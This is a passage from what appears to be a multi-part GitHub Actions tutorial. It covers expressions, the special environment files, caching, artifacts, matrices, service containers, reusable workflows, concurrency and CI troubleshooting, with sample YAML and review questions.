    retention-days: 7                     # do not keep CI noise for 90 days
    if-no-files-found: error              # fail loudly, not silently empty

Debug like the runner is a terminal, because it is

- name: What am I actually working with
  run: |
    echo "ref        : ${{ github.ref }}"
    echo "event      : ${{ github.event_name }}"
    echo "actor      : ${{ github.actor }}"
    pwd
    ls -la
    python --version

Three habits resolve most beginner failures with no special tooling:

Print the value you are branching on. Nine out of ten "my if doesn't work" cases are github.ref being refs/heads/main while you compared to main.

Run the failing command locally first. If pytest -q fails on your laptop too, the workflow is innocent and you are debugging your project.

Read the log from the top of the failing step. Tools print a summary at the end; the cause is usually much earlier. GitHub expands the failed step, so scroll up inside it.

Make your feedback loop shorter

Add workflow_dispatch to anything you are actively developing, so you can re-run from the Actions tab without inventing a commit. Use Re-run failed jobs rather than re-running everything. Develop on a scratch workflow with an unfiltered trigger so you never wonder whether it matched.

name: Scratch

on:
  push:               # every push on every branch, while experimenting
  workflow_dispatch:  # plus a manual button

jobs:
  try:
    runs-on: ubuntu-latest
    timeout-minutes: 5
    steps:
      - uses: actions/checkout@v4
      - run: echo "trying something"

Delete or tighten it before merging, because an unfiltered trigger on a shared repository burns minutes for nobody's benefit.

Name things so the Actions tab stays readable

run-name sets the title of an individual run, which pays off for manual workflows: run-name: Deploy ${{ inputs.environment }} by @${{ github.actor }}.

Version references: what to copy and what to avoid

Getting around the interface quickly

github.com/OWNER/REPO/actions/workflows/ci.yml jumps straight to one workflow's history, worth bookmarking for the pipeline you watch most.

A starter workflow worth keeping

Every line here is something from this page.

name: CI

on:
  push:
    branches: [main]
  pull_request:
    paths-ignore: ['docs/**', '**/*.md']    # docs changes skip the suite
  workflow_dispatch:                        # always re-runnable by hand

permissions:
  contents: read                            # least privilege, one line

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15                     # never six hours
    strategy:
      fail-fast: false                      # every version reports
      matrix:
        python: ['3.11', '3.12']
    steps:
      - uses: actions/checkout@v4           # the runner starts empty

      - uses: actions/setup-python@v5
        with:
          python-version: ${{ matrix.python }}   # quoted in the matrix
          cache: pip                        # free speed-up

      - name: Install dependencies
        run: pip install -r requirements.txt

      - name: Lint
        run: ruff check .

      - name: Test
        run: pytest -q --junitxml=reports/junit-${{ matrix.python }}.xml

      - name: Keep the report
        if: always()                        # especially when tests fail
        uses: actions/upload-artifact@v4
        with:
          name: reports-${{ matrix.python }}
          path: reports/
          retention-days: 7
          if-no-files-found: error

Seven details in there are the whole lesson of this page: checkout first, quoted versions, cache: for free speed, timeout-minutes as a guard, fail-fast: false so you see the pattern, if: always() so diagnostics survive, and a unique artifact name per matrix cell.

This is part two of three. It picks up exactly where Beginner ended and takes every topic from there further, then adds the machinery you have not met yet. Nothing is dropped and nothing is repeated for its own sake. Where you already know the basics, we go straight to the depth.

Where this picks up

Expressions: the full reference

You have used ${{ }} for a handful of values. The full set of contexts:

Operators and functions

# Comparison and logic
if: github.event_name == 'push' && github.ref != 'refs/heads/main'
if: contains(fromJSON('["main","develop"]'), github.ref_name)
if: github.actor != 'dependabot[bot]' || inputs.force == true

# String functions
if: startsWith(github.ref, 'refs/tags/v')
if: endsWith(github.repository, '-internal')
if: contains(github.event.head_commit.message, '[skip ci]')

# format() builds strings; join() flattens arrays
- run: echo "${{ format('{0}-{1}', runner.os, matrix.python) }}"
- run: echo "${{ join(matrix.*.python, ', ') }}"

# hashFiles() is the backbone of a cache key
key: ${{ runner.os }}-${{ hashFiles('**/requirements*.txt', '**/pyproject.toml') }}

# toJSON / fromJSON convert between strings and structures
- run: echo '${{ toJSON(github.event) }}'
matrix:
  target: ${{ fromJSON(needs.discover.outputs.targets) }}

Step results: outcome versus conclusion

Beginner used if: failure(). The precise mechanics matter once you tolerate failures deliberately.

- id: flaky
  continue-on-error: true
  run: ./might-fail.sh

- name: React to the REAL result
  if: steps.flaky.outcome == 'failure'
  run: echo "it failed, but we chose to continue"

The same distinction exists at job level as needs.<job>.result, which is success, failure, cancelled, or skipped.

Status functions in full

The four special files

Beginner used $GITHUB_ENV and $GITHUB_STEP_SUMMARY. There are four, and each solves a different problem.

- id: meta
  run: |
    # 1. environment variables for LATER STEPS in this job
    echo "IMAGE_TAG=sha-$(git rev-parse --short HEAD)" >> "$GITHUB_ENV"

    # 2. step outputs, addressed by the step's id
    echo "artifact=dist/app.tar.gz" >> "$GITHUB_OUTPUT"

    # 3. prepend to PATH for later steps
    echo "$HOME/.local/bin" >> "$GITHUB_PATH"

    # 4. Markdown rendered on the run page
    echo "### Build complete" >> "$GITHUB_STEP_SUMMARY"

- run: echo "$IMAGE_TAG"                            # from GITHUB_ENV
- run: echo "${{ steps.meta.outputs.artifact }}"     # from GITHUB_OUTPUT
- run: my-tool --version                             # found via GITHUB_PATH

Multi-line values need a delimiter, or the file format breaks:

- run: |
    {
      echo 'NOTES<<EOF'
      cat CHANGELOG.md
      echo 'EOF'
    } >> "$GITHUB_ENV"

Environment variables: precedence and defaults

Three scopes, most specific wins, and there is a fourth source you did not declare.

env:
  LOG_LEVEL: info          # 3rd priority: workflow
jobs:
  test:
    env:
      LOG_LEVEL: debug     # 2nd priority: job
    steps:
      - run: ./run.sh
        env:
          LOG_LEVEL: trace # 1st priority: step — wins

GitHub also injects a set of default variables into every step:

# Shell-safe short SHA, without an expression
- run: echo "tag=sha-${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"

# The whole event payload is on disk
- run: jq '.pull_request.labels[].name' "$GITHUB_EVENT_PATH"

Secrets and variables

Beginner treated secrets as one thing. There are two kinds, and conflating them is a real security problem.

Both exist at three levels, most specific winning, which is more useful than it first appears:

   AWS_REGION=eu-west-1   AWS_REGION=eu-west-2   AWS_REGION=us-east-1
   (default for 60 repos)  (this repo overrides)  (production overrides again)

jobs:
  deploy:
    environment: production        # unlocks environment-scoped values
    runs-on: ubuntu-latest
    steps:
      - env:
          TOKEN: ${{ secrets.DEPLOY_TOKEN }}   # environment secret
        run: ./deploy.sh --region "${{ vars.AWS_REGION }}"

Caching: designing the key

Beginner used cache: pip. That one line hides a mechanism you can build yourself.

- uses: actions/cache@v4
  id: deps
  with:
    path: ~/.cache/pip
    key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }}
    restore-keys: |
      ${{ runner.os }}-pip-

There are exactly two ways to get this wrong, and they fail in opposite directions:

cache-hit lets you skip expensive work entirely:

- uses: actions/cache@v4
  id: models
  with:
    path: ~/.cache/huggingface
    key: hf-${{ hashFiles('models.lock') }}
    restore-keys: hf-

- name: Download only on an exact miss
  if: steps.models.outputs.cache-hit != 'true'
  run: python scripts/fetch_models.py

Per-language recipes

Artifacts: retention, collisions, and emptiness

- uses: actions/upload-artifact@v4
  if: always()
  with:
    name: coverage-${{ matrix.python }}   # unique per matrix cell
    path: |
      htmlcov/
      reports/junit.xml
    retention-days: 7                    # override the 90-day default
    if-no-files-found: error             # fail loudly, not silently empty
    compression-level: 9

Downloading is the mirror image, and can reach across runs:

# Everything from this run
- uses: actions/download-artifact@v4
  with:
    path: ./all-artifacts
    merge-multiple: true

# One artifact from a DIFFERENT run
- uses: actions/download-artifact@v4
  with:
    name: dist
    run-id: ${{ github.event.workflow_run.id }}
    github-token: ${{ secrets.GITHUB_TOKEN }}

The job dependency graph

needs does more than order jobs. It builds a graph you can fan out from and fan back into.

jobs:
  setup:
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.v.outputs.version }}
      targets: ${{ steps.v.outputs.targets }}
    steps:
      - id: v
        run: |
          echo "version=1.4.${{ github.run_number }}" >> "$GITHUB_OUTPUT"
          echo 'targets=["api","worker","web"]'       >> "$GITHUB_OUTPUT"

  build:                                    # fan out: three parallel jobs
    needs: setup
    strategy:
      matrix:
        target: ${{ fromJSON(needs.setup.outputs.targets) }}
    runs-on: ubuntu-latest
    steps:
      - run: make build TARGET=${{ matrix.target }} VERSION=${{ needs.setup.outputs.version }}

  report:                                   # fan in: runs whatever happened
    needs: [setup, build]
    if: always()
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "setup : ${{ needs.setup.result }}"
          echo "build : ${{ needs.build.result }}"
      - if: needs.build.result == 'failure'
        run: ./notify.sh

Two things to note. needs.<job>.result is success, failure, cancelled, or skipped, and a job that needs a matrix job sees a single aggregated result. if: always() is what lets a reporting job run even when the thing it reports on failed.

Matrix in depth

jobs:
  test:
    runs-on: ${{ matrix.os }}
    strategy:
      fail-fast: false
      max-parallel: 4
      matrix:
        os: [ubuntu-latest, macos-latest]
        python: ['3.11', '3.12']
        include:
          - os: ubuntu-latest        # add one non-cartesian combination
            python: '3.13'
            experimental: true
          - os: ubuntu-latest        # or attach extra values to an existing one
            python: '3.12'
            coverage: true
        exclude:
          - os: macos-latest
            python: '3.11'
    continue-on-error: ${{ matrix.experimental == true }}
    name: test (${{ matrix.os }}, py${{ matrix.python }})
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: ${{ matrix.python }}
      - run: pytest -q
      - if: matrix.coverage == true
        run: pytest --cov --cov-report=xml

Dynamic matrices

The monorepo pattern: discover what changed, then build only that.

jobs:
  discover:
    runs-on: ubuntu-latest
    outputs:
      services: ${{ steps.list.outputs.services }}
    steps:
      - uses: actions/checkout@v4
        with: { fetch-depth: 0 }
      - id: list
        run: |
          CHANGED=$(git diff --name-only origin/main... \
            | awk -F/ '/^services\//{print $2}' | sort -u | jq -Rsc 'split("\n")[:-1]')
          echo "services=$CHANGED" >> "$GITHUB_OUTPUT"

  build:
    needs: discover
    if: needs.discover.outputs.services != '[]'
    strategy:
      matrix:
        service: ${{ fromJSON(needs.discover.outputs.services) }}
    runs-on: ubuntu-latest
    steps:
      - run: make build SERVICE=${{ matrix.service }}

Service containers

Mocking a database in integration tests is a compromise. services starts real containers on the job's network before your steps run.

jobs:
  test:
    runs-on: ubuntu-latest
    services:
      postgres:
        image: postgres:16
        env:
          POSTGRES_PASSWORD: postgres
          POSTGRES_DB: app_test
        ports: ['5432:5432']
        options: >-
          --health-cmd pg_isready
          --health-interval 10s
          --health-timeout 5s
          --health-retries 5
      redis:
        image: redis:7
        ports: ['6379:6379']
        options: >-
          --health-cmd "redis-cli ping"
          --health-interval 10s
          --health-retries 5
    env:
      DATABASE_URL: postgres://postgres:postgres@localhost:5432/app_test
      REDIS_URL: redis://localhost:6379
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with: { python-version: '3.11', cache: pip }
      - run: pip install -r requirements.txt
      - run: pytest -q tests/integration

Container jobs

You can also run the job itself inside a container, which pins the entire toolchain rather than installing it per run.

jobs:
  test:
    runs-on: ubuntu-latest
    container:
      image: python:3.11-slim
      options: --user 1001
    services:
      postgres:
        image: postgres:16
        env: { POSTGRES_PASSWORD: postgres }
    env:
      DATABASE_URL: postgres://postgres:postgres@postgres:5432/postgres
    steps:
      - uses: actions/checkout@v4
      - run: pip install -r requirements.txt
      - run: pytest -q

Reusable workflows

Once several repositories need the same pipeline, copy-paste becomes the problem. A reusable workflow is called at the job level and brings its own jobs and runners.

on:
  workflow_call:
    inputs:
      python-version:
        description: Python version for lint and tests
        type: string
        default: '3.11'
      run-e2e:
        description: Also run the end-to-end suite
        type: boolean
        default: false
    secrets:
      CODECOV_TOKEN:
        required: false
    outputs:
      coverage:
        description: Line coverage percentage
        value: ${{ jobs.test.outputs.coverage }}

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    outputs:
      coverage: ${{ steps.cov.outputs.pct }}
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: ${{ inputs.python-version }}
          cache: pip
      - run: pip install -r requirements.txt
      - id: cov
        run: |
          pytest -q --cov --cov-report=term
          echo "pct=$(coverage report --format=total)" >> "$GITHUB_OUTPUT"
      - if: inputs.run-e2e
        run: pytest -q tests/e2e

The caller shrinks to almost nothing:

name: CI

on:
  push: { branches: [main] }
  pull_request:

jobs:
  ci:
    uses: my-org/.github/.github/workflows/reusable-ci.yml@v1
    with:
      python-version: '3.12'
      run-e2e: ${{ github.ref == 'refs/heads/main' }}
    secrets:
      CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}   # explicit beats `inherit`

  notify:
    needs: ci
    runs-on: ubuntu-latest
    steps:
      - run: echo "coverage ${{ needs.ci.outputs.coverage }}%"

That doubled path, my-org/.github/.github/workflows/…, is correct and surprises everyone exactly once: the first .github is the repository name, the second is the folder inside it.

Composite actions

The step-level equivalent: a reusable sequence that runs inside the caller's job.

name: Set up project
description: Python, cached dependencies, and our standard tooling
inputs:
  python-version:
    description: Python version to install
    default: '3.11'
  install-dev:
    description: Also install dev requirements
    default: 'false'
outputs:
  cache-hit:
    description: Whether the dependency cache was an exact hit
    value: ${{ steps.py.outputs.cache-hit }}
runs:
  using: composite
  steps:
    - id: py
      uses: actions/setup-python@v5
      with:
        python-version: ${{ inputs.python-version }}
        cache: pip

    - run: pip install -r requirements.txt
      shell: bash            # ← MANDATORY on every composite run step

    - if: inputs.install-dev == 'true'
      run: pip install -r requirements-dev.txt
      shell: bash

steps:
  - uses: actions/checkout@v4
  - uses: ./.github/actions/setup          # local path
    with:
      python-version: '3.12'
      install-dev: 'true'

Forgetting shell: is the most common reason a new composite action refuses to load, and the error does not say so.

Environments and approvals

An environment is a named deployment target with its own configuration and protection rules.

jobs:
  deploy:
    needs: build
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://app.example.com      # shown on the run and the deployment
    steps:
      - env:
          TOKEN: ${{ secrets.DEPLOY_TOKEN }}   # environment-scoped secret
        run: ./deploy.sh

Configured in Settings → Environments, an environment gives you:

Concurrency

Beginner added timeout-minutes as a guard. Concurrency is the other one, and it is usually the single biggest saving available on a busy repository.

# Workflow level: one run per branch, cancel the superseded one
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}

jobs:
  deploy:
    runs-on: ubuntu-latest
    concurrency:
      group: deploy-production     # job level: one deploy at a time
      cancel-in-progress: false    # QUEUE rather than kill a release
    steps:
      - run: ./deploy.sh

Because they need different keys, a real pipeline declares both, at different scopes.

Path filters and the required-check trap

on:
  pull_request:
    paths-ignore: ['docs/**', '**/*.md']
  push:
    branches: [main]
    paths: ['src/**', 'requirements.txt']

name: CI
on:
  pull_request:
    paths: ['docs/**', '**/*.md']
jobs:
  test:                       # same job name the required check expects
    runs-on: ubuntu-latest
    steps:
      - run: echo "No code changed; nothing to test."

Triggers in depth

Beyond the basics, three triggers unlock patterns you cannot build otherwise.

# Chain workflows: run after another one finishes
on:
  workflow_run:
    workflows: ['CI']
    types: [completed]
    branches: [main]

jobs:
  publish:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: dist
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ secrets.GITHUB_TOKEN }}

# Triggered from outside GitHub, by an API call
on:
  repository_dispatch:
    types: [deploy-request]

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - run: ./deploy.sh --env "${{ github.event.client_payload.environment }}"

curl -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Accept: application/vnd.github+json" \
  https://api.github.com/repos/OWNER/REPO/dispatches \
  -d '{"event_type":"deploy-request","client_payload":{"environment":"staging"}}'

Debugging, one level deeper

# Worth keeping permanently: diagnostics that only run after a failure
- name: Diagnostics
  if: failure()
  run: |
    echo "runner image : $ImageVersion"
    echo "ref / sha    : $GITHUB_REF / $GITHUB_SHA"
    echo "cache hit    : ${{ steps.deps.outputs.cache-hit }}"
    df -h && free -m

Putting it all together

Every topic from this level in one pipeline.

name: CI

on:
  push:
    branches: [main]
  pull_request:
    paths-ignore: ['docs/**', '**/*.md']
  workflow_dispatch:
    inputs:
      run-e2e:
        type: boolean
        default: false

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 20
    strategy:
      fail-fast: false
      matrix:
        python: ['3.11', '3.12']
    services:
      postgres:
        image: postgres:16
        env: { POSTGRES_PASSWORD: postgres }
        ports: ['5432:5432']
        options: >-
          --health-cmd pg_isready --health-interval 10s --health-retries 5
    env:
      DATABASE_URL: postgres://postgres:postgres@localhost:5432/postgres
    outputs:
      coverage: ${{ steps.cov.outputs.pct }}
    steps:
      - uses: actions/checkout@v4
      - uses: ./.github/actions/setup
        with:
          python-version: ${{ matrix.python }}
      - id: cov
        run: |
          pytest -q --cov --cov-report=xml --junitxml=reports/junit-${{ matrix.python }}.xml
          echo "pct=$(coverage report --format=total)" >> "$GITHUB_OUTPUT"
      - if: always()
        uses: actions/upload-artifact@v4
        with:
          name: reports-${{ matrix.python }}
          path: reports/
          retention-days: 7
          if-no-files-found: error
      - if: always()
        run: echo "| py${{ matrix.python }} | ${{ steps.cov.outputs.pct }}% |" >> "$GITHUB_STEP_SUMMARY"

  build:
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.meta.outputs.version }}
    steps:
      - uses: actions/checkout@v4
      - id: meta
        run: echo "version=1.4.${{ github.run_number }}" >> "$GITHUB_OUTPUT"
      - run: make build
      - uses: actions/upload-artifact@v4
        with: { name: dist, path: dist/ }

  deploy:
    needs: build
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://app.example.com
    concurrency:
      group: deploy-production
      cancel-in-progress: false
    steps:
      - uses: actions/download-artifact@v4
        with: { name: dist, path: dist/ }
      - env:
          TOKEN: ${{ secrets.DEPLOY_TOKEN }}
        run: ./deploy.sh --version "${{ needs.build.outputs.version }}" --region "${{ vars.AWS_REGION }}"

  report:
    needs: [test, build, deploy]
    if: always()
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "test   : ${{ needs.test.result }}"
          echo "build  : ${{ needs.build.result }}"
          echo "deploy : ${{ needs.deploy.result }}"

What continues in Senior

You can now build a pipeline that is fast, that does not repeat work, that moves data between stages deliberately, that tests against a real database and several language versions, that is shared across repositories rather than copy-pasted, that gates deployment behind a human, and that cannot ship two releases simultaneously.

Senior takes the same topics one level further and adds what you own when CI/CD is your responsibility. Every topic above reappears with a security or scale dimension:

Part two of three. A cumulative review of Beginner and Mid-level material, organised by topic rather than by level, in about thirty-five minutes. Fast review first, common questions at the end.

Foundations

GitHub Actions is GitHub's built-in CI/CD platform. A YAML file in .github/workflows/ declares triggers and jobs; GitHub runs each job on a machine it creates and destroys. The pipeline lives in the repository, so it is versioned and reviewed like code.

One workflow, many jobs, each job many steps, each job its own machine. Mandatory: on, jobs, and per job runs-on and steps.

Triggers, filters, and chaining

on:
  push:
    branches: [main]
    tags: ['v*']
  pull_request:
    types: [opened, synchronize, reopened, ready_for_review]
    paths-ignore: ['docs/**', '**/*.md']
  workflow_run:
    workflows: ['CI']
    types: [completed]

Expressions: the full reference

Functions: contains, startsWith, endsWith, format, join, toJSON, fromJSON, hashFiles. Status: success(), failure(), cancelled(), always().

if: contains(fromJSON('["main","develop"]'), github.ref_name)
if: startsWith(github.ref, 'refs/tags/v') && github.actor != 'dependabot[bot]'
- run: echo "${{ format('{0}-py{1}', runner.os, matrix.python) }}"
key: ${{ runner.os }}-${{ hashFiles('**/requirements*.txt', '**/pyproject.toml') }}

outcome versus conclusion

- id: flaky
  continue-on-error: true
  run: ./might-fail.sh
- if: steps.flaky.outcome == 'failure'    # the REAL result
  run: echo "failed, but we chose to continue"

outcome is what the step did; conclusion is the result after continue-on-error. A tolerated failure is failure / success. At job level the equivalent is needs.<job>.result: success, failure, cancelled, or skipped.

The four special files

- id: meta
  run: |
    echo "IMAGE_TAG=sha-${GITHUB_SHA::7}" >> "$GITHUB_ENV"        # later steps
    echo "artifact=dist/app.tar.gz"       >> "$GITHUB_OUTPUT"      # step output
    echo "$HOME/.local/bin"               >> "$GITHUB_PATH"        # PATH
    echo "### Build complete"             >> "$GITHUB_STEP_SUMMARY" # run page

Multi-line values need a delimiter:

- run: |
    { echo 'NOTES<<EOF'; cat CHANGELOG.md; echo 'EOF'; } >> "$GITHUB_ENV"

A $GITHUB_ENV value is not readable in the step that wrote it, and none of the four cross a job boundary.

GitHub also injects defaults: GITHUB_REPOSITORY, GITHUB_REF, GITHUB_REF_NAME, GITHUB_SHA, GITHUB_WORKSPACE, GITHUB_RUN_ID, GITHUB_EVENT_PATH, RUNNER_OS, RUNNER_TEMP.

Secrets versus variables

Both exist at three levels, organisation → repository → environment, most specific winning. GITHUB_TOKEN is automatic, per job, repository-scoped, and expires with the job.

Caching

- uses: actions/cache@v4
  id: deps
  with:
    path: ~/.cache/pip
    key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }}
    restore-keys: ${{ runner.os }}-pip-

Cache the download directory (~/.npm, ~/.cache/pip, ~/.m2), never an installed tree, because restoring node_modules or a virtualenv brings platform-specific binaries and half-resolved state.

Artifacts

- uses: actions/upload-artifact@v4
  if: always()
  with:
    name: coverage-${{ matrix.python }}   # unique per matrix cell
    path: reports/
    retention-days: 7                     # override the 90-day default
    if-no-files-found: error              # fail loudly, not silently empty

In v4, two uploads with the same name conflict rather than merging. Downloads can also reach across runs with run-id plus a token.

A cache is an optimisation you must be able to lose; an artifact is data you cannot.

The job dependency graph

jobs:
  setup:
    outputs:
      targets: ${{ steps.v.outputs.targets }}
    steps:
      - id: v
        run: echo 'targets=["api","worker"]' >> "$GITHUB_OUTPUT"

  build:                                  # fan out
    needs: setup
    strategy:
      matrix:
        target: ${{ fromJSON(needs.setup.outputs.targets) }}

  report:                                 # fan in, whatever happened
    needs: [setup, build]
    if: always()
    steps:
      - run: echo "build: ${{ needs.build.result }}"

A job that needs a matrix job sees a single aggregated result. Job outputs are size-limited and not secret, so pass identifiers and JSON, never credentials or files.

Matrix in depth

strategy:
  fail-fast: false
  max-parallel: 4
  matrix:
    os: [ubuntu-latest, macos-latest]
    python: ['3.11', '3.12']
    include: [{ os: ubuntu-latest, python: '3.13', experimental: true }]
    exclude: [{ os: macos-latest, python: '3.11' }]
runs-on: ${{ matrix.os }}
continue-on-error: ${{ matrix.experimental == true }}
name: test (${{ matrix.os }}, py${{ matrix.python }})

Axes multiply, then exclude removes and include adds (or attaches extra keys to an existing combination). fail-fast: true is the default. Ceiling is 256 jobs per run.

Service containers and container jobs

services:
  postgres:
    image: postgres:16
    env: { POSTGRES_PASSWORD: postgres }
    ports: ['5432:5432']
    options: >-
      --health-cmd pg_isready --health-interval 10s --health-retries 5

Hostname is localhost when steps run on the runner, but the service name once the job itself runs inside a container:. Moving a job into a container silently breaks every localhost connection string.

Reuse

jobs:
  ci:
    uses: my-org/.github/.github/workflows/reusable-ci.yml@v1
    with:
      python-version: '3.12'
    secrets:
      CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}   # explicit beats `inherit`

The doubled path is correct: the first .github is the repository, the second the folder. Consumers pin a major tag; you move it on release.

Environments, permissions, and concurrency

permissions:
  contents: read              # read-only floor for the whole workflow

jobs:
  release:
    permissions:
      contents: write         # widened for exactly one job
      packages: write
    runs-on: ubuntu-latest

Worth knowing now, because it explains a class of confusing failure: a reusable workflow receives the caller's token, so its permissions can never exceed the caller's. A callee that declares packages: write fails when the caller only granted contents: read. Senior covers the full least-privilege model and OIDC.

# CI: one run per branch, cancel superseded
concurrency: { group: '${{ github.workflow }}-${{ github.ref }}', cancel-in-progress: true }

# CD: one deploy at a time, QUEUE rather than cancel
concurrency: { group: deploy-production, cancel-in-progress: false }

Common interview questions

1. CI takes 25 minutes and people have stopped waiting.Measure first from the run timings. Then in order of leverage: do less work with concurrency cancellation, path filters, and conditions; reuse work with dependency caching and prebuilt images; parallelise by sharding the suite across a matrix, by measured duration rather than file count. Move slow end-to-end tests to a nightly schedule with a smoke subset on the PR. Reaching for a bigger runner first is the answer of someone who has not measured.
2. The build job makes a binary and the deploy job cannot find it.Separate jobs, separate machines. Upload an artifact and download it, or merge the jobs if splitting bought nothing.
3. The cache never helps. Debug it.Print the key and cache-hit. A key containing github.sha misses every run; a fixed key never invalidates and ships stale dependencies. Correct keys hash the lockfile with restore-keys as a prefix fallback. Also check you are caching the download directory, not an installed tree.
4. Same twelve-step pipeline in eleven repositories.A reusable workflow in the organisation .github repository, versioned with a moving major tag, driven by typed inputs. Composite actions for the smaller repeated fragments inside it. Pass secrets explicitly rather than with inherit.
5. Tests pass locally, fail in CI on the first run only.A service container with no health check, or a dependency that happens to exist on your laptop. Add the health check and pin the setup versions.
6. A deploy must wait for a human.An environment with required reviewers: the job pauses before its first step and the approval is recorded. Put the production credential on the environment rather than the repository, so ordinary CI cannot read it at all.
7. Test Python 3.10–3.13, but 3.13 may fail.Matrix with fail-fast: false, an include entry carrying experimental: true, and continue-on-error: ${{ matrix.experimental == true }}.
8. Two merges deployed at once and one overwrote the other.A concurrency group on the deploy job keyed on the environment with cancel-in-progress: false. Then make the deploy idempotent, because concurrency is a guard, not a correctness property.
9. Explain outcome versus conclusion.outcome is the raw step result; conclusion is after continue-on-error. A tolerated failure is failure/success respectively, so use outcome to react to the real result.
10. Reusable workflow or composite action?Reusable workflow for a whole stage needing its own jobs, runners, or permissions. Composite action for a repeated step sequence inside an existing job. If you need a matrix or a different runner, it must be a workflow.
11. A required check never reports and the PR cannot merge.A path filter skipped its workflow. Add a same-named lightweight workflow on the excluded paths that succeeds immediately, or make the check not required.
12. How do you build a matrix from something computed at runtime?An earlier job emits JSON to $GITHUB_OUTPUT; the matrix reads it with fromJSON(needs.discover.outputs.list). The monorepo pattern: diff against the base to find changed services, then build only those.
13. How do you run a job against a real database?services: with a health check, connecting on localhost, or the service name if the job runs in a container. Beyond two or three containers, bring your own Compose file started in a run step.
14. How would you chain two workflows?workflow_run on the second, gated by github.event.workflow_run.conclusion == 'success', downloading the first run's artifacts with run-id. Note this runs in the base-repository context with a writable token, which matters for security.
15. What does always() do, and when is it wrong?It runs even when the workflow is cancelled, so an always() step can keep alive a run someone is stopping. For cleanup that should respect cancellation, use !cancelled().
16. How do you report results without making people download a zip?Write Markdown to $GITHUB_STEP_SUMMARY. It renders on the run page and costs one line.

Final self-test

• Name the four special files and what each does.
• Give both ways a cache key can be wrong, and what to cache instead of an installed tree.
• Write a concurrency block for CI and one for CD, and justify the difference.
• Choose between a reusable workflow and a composite action.
• Explain outcome versus conclusion, and needs.<job>.result.
• Say what an environment gives you that a repository secret does not.
• Describe the required-check trap from path filters and its remedy.
• Explain why a service container needs a health check.
• Say what changes about service hostnames when a job runs in a container.

Part two of three. At this level your pipelines work, so the problems change character. They are no longer "why won't this run" but "why is this slow", "why is this flaky", and "why does this break whenever someone adds a service". Start with the error table, then the practices underneath it.

Common errors at this level

The practices that pay off most

Diagnosing a slow pipeline properly

The instinct is to reach for a bigger runner. Resist, because a faster machine does not fix a serial pipeline and turns a cost problem into a bigger one. Work in order of leverage.

1. Measure before you touch anythingOpen the run view and toggle step timestamps. Almost every pipeline has one step that is most of the wall clock, and it is rarely the one people assume. For trends, the REST API exposes timing for every run, so pull the last few hundred and take the p95 per job.
2. Stop work nobody needsCancel superseded runs with concurrency. Add paths-ignore for documentation. Put expensive suites behind an if or a schedule. Free, and usually the largest single win.
3. Stop repeating work you already didDependency caching, and a prebuilt container image for anything with a long install. If installing dependencies is two minutes of a four-minute run, that is your whole problem.
4. Only then paralleliseSplit the suite across a matrix. A matrix is bounded by its slowest shard, so shard by measured duration rather than file count.
5. Consider a larger runner lastAfter the above, if the job is CPU-bound, more cores help. Before the above, it just costs more.

# Shard a slow suite, then merge the reports
strategy:
  fail-fast: false
  matrix:
    shard: [1, 2, 3, 4]
steps:
  - run: pytest -q --splits 4 --group ${{ matrix.shard }}

Cache problems and how to spot them

A cache that silently does nothing is worse than none, because you pay the archive-and-upload cost for no benefit.

"The cache never hits." Your key contains something that changes every run: github.sha, run_id, a date, or hashFiles('**') which includes your source.

"CI is using stale dependencies." Your key contains nothing that changes when dependencies change. The entry was written once and is immutable, so it is restored forever.

- id: cache
  uses: actions/cache@v4
  with:
    path: ~/.cache/pip
    key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }}
    restore-keys: ${{ runner.os }}-pip-

- run: |
    echo "hash    : ${{ hashFiles('**/requirements*.txt') }}"
    echo "exact hit: ${{ steps.cache.outputs.cache-hit }}"

Two more rules. Cache the download directory, not an installed tree, because restoring node_modules or a virtualenv brings platform-specific binaries and half-resolved state. Never restore something and then execute it without verification, because a pull request branch can write a cache that a later main run restores.

Making flaky tests stop being normal

Flakiness is the most expensive problem at this level, because the usual response, re-run until green, destroys the signal CI exists to provide. Once a team habitually re-runs, a genuine regression is indistinguishable from noise.

Matrix hygiene

Matrices grow. A team adds an axis, then another, and a pull request suddenly generates fifty jobs nobody reads.

strategy:
  fail-fast: false
  max-parallel: 6
  matrix:
    python: ['3.11', '3.12']
    include:
      - python: '3.13'
        experimental: true
name: test (py${{ matrix.python }})       # stable name for branch protection
continue-on-error: ${{ matrix.experimental == true }}

Keep it to two axes. Three multiply into a wall of jobs and real cost. If you need a third dimension, ask whether it belongs in a nightly run instead.

Use include for the odd one out rather than adding an axis and excluding most of it.

Set an explicit name: on any matrix job that is a required status check, because the generated name embeds the combination, so adding an axis renames it and branch protection waits for a check that no longer exists.

Turn fail-fast off while debugging, on afterwards. During diagnosis you need every cell's result; in steady state you want a fast red signal.

Use max-parallel when cells share anything: a staging database, a rate-limited API, a licence server.

Artifacts and outputs that stay tidy

- uses: actions/upload-artifact@v4
  if: always()
  with:
    name: coverage-${{ matrix.python }}   # unique — v4 conflicts on duplicates
    path: |
      htmlcov/
      reports/junit.xml
    retention-days: 7
